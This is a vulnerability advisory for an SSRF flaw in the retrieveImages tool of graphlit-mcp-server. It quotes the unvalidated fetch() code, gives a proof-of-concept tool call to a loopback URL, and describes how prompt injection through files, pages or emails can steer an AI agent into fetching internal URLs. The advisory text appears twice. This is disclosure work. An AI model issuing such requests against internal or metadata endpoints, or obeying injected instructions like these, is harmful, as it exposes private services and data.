Summary
The retrieveImages tool in graphlit-mcp-server is vulnerable to Server-Side Request Forgery (SSRF). The user-supplied url parameter is passed directly to Node.js's global fetch() without any validation of the destination host, IP range, or protocol. This allows an attacker to make the MCP server process issue arbitrary HTTP requests to internal network services, cloud metadata endpoints, or any other host reachable from the server host — and the full response body is read into memory, Base64-encoded, and forwarded to the Graphlit cloud API as imageData for similarity search.
Detail
graphlit-mcp-server provides AI programming assistants (such as Claude, Gemini, and Cursor) with programmatic access to the [Graphlit Platform](https://www.graphlit.com/) knowledge API via the Model Context Protocol. The retrieveImages tool is intended to download a public image URL locally, convert it to Base64, and perform vector similarity search against images stored in the user's Graphlit project. However, it accepts an arbitrary URL string from the caller and fetches it directly on the MCP server host, bypassing the pattern used by other URL-based tools that delegate outbound HTTP to the Graphlit cloud backend.
The tool is registered via @modelcontextprotocol/sdk with an unconstrained url: z.string() parameter — any string value is accepted, including internal URLs:
Version: 1.0.1
File: src/tools.ts
server.tool(
"retrieveImages",
`Retrieve images from Graphlit knowledge base. Provides image-specific retrieval when image similarity search is desired.
Do *not* use for retrieving content by content identifier - retrieve content resource instead, with URI 'contents://{id}'.
Accepts image URL. Image will be used for similarity search using image embeddings.
Accepts optional geo-location filter for search by latitude, longitude and optional distance radius. Images taken with GPS enabled are searchable by geo-location.
Also accepts optional recency filter (defaults to null, meaning all time), and optional feed and collection identifiers to filter images by.
Returns the matching images, including their content resource URI to retrieve the complete Markdown text.`,
{
url: z
.string()
.describe(
"URL of image which will be used for similarity search using image embeddings."
),
inLast: z
.string()
.optional()
.describe(
"Recency filter for images ingested 'in last' timespan, optional. Should be ISO 8601 format, for example, 'PT1H' for last hour, 'P1D' for last day, 'P7D' for last week, 'P30D' for last month. Doesn't support weeks or months explicitly."
),
feeds: z
.array(z.string())
.optional()
.describe("Feed identifiers to filter images by, optional."),
collections: z
.array(z.string())
.optional()
.describe("Collection identifiers to filter images by, optional."),
location: PointFilter.optional().describe(
"Geo-location filter for search by latitude, longitude and optional distance radius."
),
limit: z
.number()
.optional()
.default(100)
.describe(
"Limit the number of images to be returned. Defaults to 100."
),
},
async ({ url, inLast, feeds, collections, location, limit }) => {
const client = new Graphlit();
The handler passes the user-supplied string directly to fetch() with no intermediate validation. Notably, this fetch block sits outside the surrounding try/catch, so fetch failures propagate directly to the MCP runtime:
Version: 1.0.1
File: src/tools.ts
var data;
var mimeType;
if (url) {
const fetchResponse = await fetch(url);
if (!fetchResponse.ok) {
throw new Error(
`Failed to fetch data from ${url}: ${fetchResponse.statusText}`
);
}
const arrayBuffer = await fetchResponse.arrayBuffer();
const buffer = Buffer.from(arrayBuffer);
data = buffer.toString("base64");
mimeType =
fetchResponse.headers.get("content-type") ||
"application/octet-stream";
}
Unlike other URL-based tools in this server, retrieveImages does not delegate the outbound HTTP request to the Graphlit client SDK. ingestUrl passes the user-supplied URL to the Graphlit cloud API via client.ingestUri():
Version: 1.0.1
File: src/tools.ts
server.tool(
"ingestUrl",
`Ingests content from URL into Graphlit knowledge base.
Can scrape a single web page, and can ingest individual Word documents, PDFs, audio recordings, videos, images, or any other unstructured data.
Do *not* use for crawling a web site, which is done with 'webCrawl' tool.
Executes asynchronously and returns the content identifier.`,
{
url: z.string().describe("URL to ingest content from."),
},
async ({ url }) => {
const client = new Graphlit();
try {
const response = await client.ingestUri(url);
Similarly, describeImageUrl delegates to client.describeImage():
Version: 1.0.1
File: src/tools.ts
server.tool(
"describeImageUrl",
`Prompts vision LLM and returns completion.
Does *not* ingest image into Graphlit knowledge base.
Accepts image URL as string.
Returns Markdown text from LLM completion.`,
{
prompt: z.string().describe("Prompt for image description."),
url: z.string().describe("Image URL."),
},
async ({ prompt, url }) => {
const client = new Graphlit();
try {
const response = await client.describeImage(prompt, url);
A repository-wide search confirms that fetch() appears only once in the entire src/ directory — inside the retrieveImages handler at line 683. It is the sole local outbound HTTP entry point in this codebase.
After fetching, the full response body is Base64-encoded and sent to the Graphlit cloud API as part of a content query filter:
Version: 1.0.1
File: src/tools.ts
try {
const filter: ContentFilter = {
imageData: data,
imageMimeType: mimeType,
searchType: SearchTypes.Vector,
feeds: feeds?.map((feed) => ({ id: feed })),
collections: collections?.map((collection) => ({ id: collection })),
location: location,
createdInLast: inLast,
types: [ContentTypes.File],
fileTypes: [FileTypes.Image],
limit: limit,
};
const response = await client.queryContents(filter);
This creates a secondary data-exfiltration channel: internal resource content fetched via SSRF is transmitted to Graphlit's backend as imageData, in addition to any error/status information returned to the MCP client.
The tool is listed in the project README under the Retrieval section with no security constraints:
Version: 1.0.1
File: README.md
### Retrieval
- Query Contents
- Query Collections
- Query Feeds
- Query Conversations
- Retrieve Relevant Sources
- Retrieve Similar Images
- Visually Describe Image
There is no validation at any point in this call chain:
- No allowlist of permitted domains
- No blocklist of private/internal IP ranges (
127.x, 10.x, 172.16–31.x, 192.168.x, 169.254.x)
- No restriction on URL scheme (only
http:/https: should be permitted)
- No limit on HTTP redirects (Node.js
fetch() follows redirects by default, enabling redirect-based bypass into internal space)
- No timeout or response body size limit configured on the outbound request
On HTTP error responses, the handler throws Failed to fetch data from ${url}: ${fetchResponse.statusText}, providing a side channel for internal host/port enumeration. Network-level fetch failures (e.g. connection refused) also propagate uncaught from the fetch block, surfacing error details to the MCP client.
Clarified: This attack does not require OS-level shell access. The practically feasible triggering path is: an attacker performs a prompt injection into an AI agent integrated with graphlit-mcp-server, instructing the agent to invoke retrieveImages with a target internal URL (often framed as "find similar images to this reference image at this URL"). The agent, having no awareness of SSRF risks, will comply. No direct MCP client access is required beyond the ability to influence the agent's prompts (e.g., via crafted file content, web pages, emails, or ingested documents the agent is asked to process).
Note on other tools: Tools such as ingestUrl, screenshotPage, webCrawl, and describeImageUrl also accept user-controlled URL parameters, but they delegate outbound HTTP to the Graphlit cloud API rather than issuing requests from the MCP server process. The sole local-process SSRF entry point is the exposed retrieveImages MCP tool.
Proof of Concept Using MCP Inspector
Prerequisites
Configure Graphlit credentials (required for tool invocation):
# Obtain from https://portal.graphlit.dev → API Settings
export GRAPHLIT_ORGANIZATION_ID="<your-org-guid>"
export GRAPHLIT_ENVIRONMENT_ID="<your-env-guid>"
export GRAPHLIT_JWT_SECRET="<your-jwt-secret>"
Build and start the MCP server via Inspector:
cd graphlit-mcp-server
npm install
npm run build
npm run inspector
This launches the MCP Inspector web UI.
In a separate terminal, start a local HTTP listener to capture SSRF requests: python -m http.server 8000
Steps
- Open the Inspector URL in a browser and click Connect.
- Go to the Tools tab, click List Tools, and select
retrieveImages.
- Invoke
retrieveImages with the following parameters:
"url": "http://127.0.0.1:8000/ssrf-test"
- Observe the outgoing MCP request:
{
"method": "tools/call",
"params": {
"name": "retrieveImages",
"arguments": {
"url": "http://127.0.0.1:8000/ssrf-test"
},
"_meta": {
"progressToken": 0
}
}
}
- Observe the listener output — the MCP server process (not the browser) issues the request: ::ffff:127.0.0.1 - - [29/Jun/2026 09:22:04] "GET /ssrf-test HTTP/1.1" 404. The HTTP request originates from the Node.js process running
dist/index.js, confirming that the server-side fetch is triggered by the tool call. Even if the Graphlit similarity search subsequently fails (because the fetched payload is not a valid image), the SSRF request has already been made and logged by the listener.
Impact
SSRF
Summary
The
retrieveImagestool in graphlit-mcp-server is vulnerable to Server-Side Request Forgery (SSRF). The user-suppliedurlparameter is passed directly to Node.js's globalfetch()without any validation of the destination host, IP range, or protocol. This allows an attacker to make the MCP server process issue arbitrary HTTP requests to internal network services, cloud metadata endpoints, or any other host reachable from the server host — and the full response body is read into memory, Base64-encoded, and forwarded to the Graphlit cloud API asimageDatafor similarity search.Detail
graphlit-mcp-server provides AI programming assistants (such as Claude, Gemini, and Cursor) with programmatic access to the [Graphlit Platform](https://www.graphlit.com/) knowledge API via the Model Context Protocol. The
retrieveImagestool is intended to download a public image URL locally, convert it to Base64, and perform vector similarity search against images stored in the user's Graphlit project. However, it accepts an arbitrary URL string from the caller and fetches it directly on the MCP server host, bypassing the pattern used by other URL-based tools that delegate outbound HTTP to the Graphlit cloud backend.The tool is registered via
@modelcontextprotocol/sdkwith an unconstrainedurl: z.string()parameter — any string value is accepted, including internal URLs:Version: 1.0.1
File:
src/tools.tsThe handler passes the user-supplied string directly to
fetch()with no intermediate validation. Notably, this fetch block sits outside the surroundingtry/catch, so fetch failures propagate directly to the MCP runtime:Version: 1.0.1
File:
src/tools.tsUnlike other URL-based tools in this server,
retrieveImagesdoes not delegate the outbound HTTP request to the Graphlit client SDK.ingestUrlpasses the user-supplied URL to the Graphlit cloud API viaclient.ingestUri():Version: 1.0.1
File:
src/tools.tsSimilarly,
describeImageUrldelegates toclient.describeImage():Version: 1.0.1
File:
src/tools.tsA repository-wide search confirms that
fetch()appears only once in the entiresrc/directory — inside theretrieveImageshandler at line 683. It is the sole local outbound HTTP entry point in this codebase.After fetching, the full response body is Base64-encoded and sent to the Graphlit cloud API as part of a content query filter:
Version: 1.0.1
File:
src/tools.tsThis creates a secondary data-exfiltration channel: internal resource content fetched via SSRF is transmitted to Graphlit's backend as
imageData, in addition to any error/status information returned to the MCP client.The tool is listed in the project README under the Retrieval section with no security constraints:
Version: 1.0.1
File:
README.mdThere is no validation at any point in this call chain:
127.x,10.x,172.16–31.x,192.168.x,169.254.x)http:/https:should be permitted)fetch()follows redirects by default, enabling redirect-based bypass into internal space)On HTTP error responses, the handler throws
Failed to fetch data from ${url}: ${fetchResponse.statusText}, providing a side channel for internal host/port enumeration. Network-level fetch failures (e.g. connection refused) also propagate uncaught from the fetch block, surfacing error details to the MCP client.Clarified: This attack does not require OS-level shell access. The practically feasible triggering path is: an attacker performs a prompt injection into an AI agent integrated with graphlit-mcp-server, instructing the agent to invoke
retrieveImageswith a target internal URL (often framed as "find similar images to this reference image at this URL"). The agent, having no awareness of SSRF risks, will comply. No direct MCP client access is required beyond the ability to influence the agent's prompts (e.g., via crafted file content, web pages, emails, or ingested documents the agent is asked to process).Note on other tools: Tools such as
ingestUrl,screenshotPage,webCrawl, anddescribeImageUrlalso accept user-controlled URL parameters, but they delegate outbound HTTP to the Graphlit cloud API rather than issuing requests from the MCP server process. The sole local-process SSRF entry point is the exposedretrieveImagesMCP tool.Proof of Concept Using MCP Inspector
Prerequisites
Configure Graphlit credentials (required for tool invocation):
Build and start the MCP server via Inspector:
cd graphlit-mcp-server npm install npm run build npm run inspectorThis launches the MCP Inspector web UI.
In a separate terminal, start a local HTTP listener to capture SSRF requests: python -m http.server 8000
Steps
retrieveImages.retrieveImageswith the following parameters: "url": "http://127.0.0.1:8000/ssrf-test"
{ "method": "tools/call", "params": { "name": "retrieveImages", "arguments": { "url": "http://127.0.0.1:8000/ssrf-test" }, "_meta": { "progressToken": 0 } } }dist/index.js, confirming that the server-side fetch is triggered by the tool call. Even if the Graphlit similarity search subsequently fails (because the fetched payload is not a valid image), the SSRF request has already been made and logged by the listener.Impact
SSRF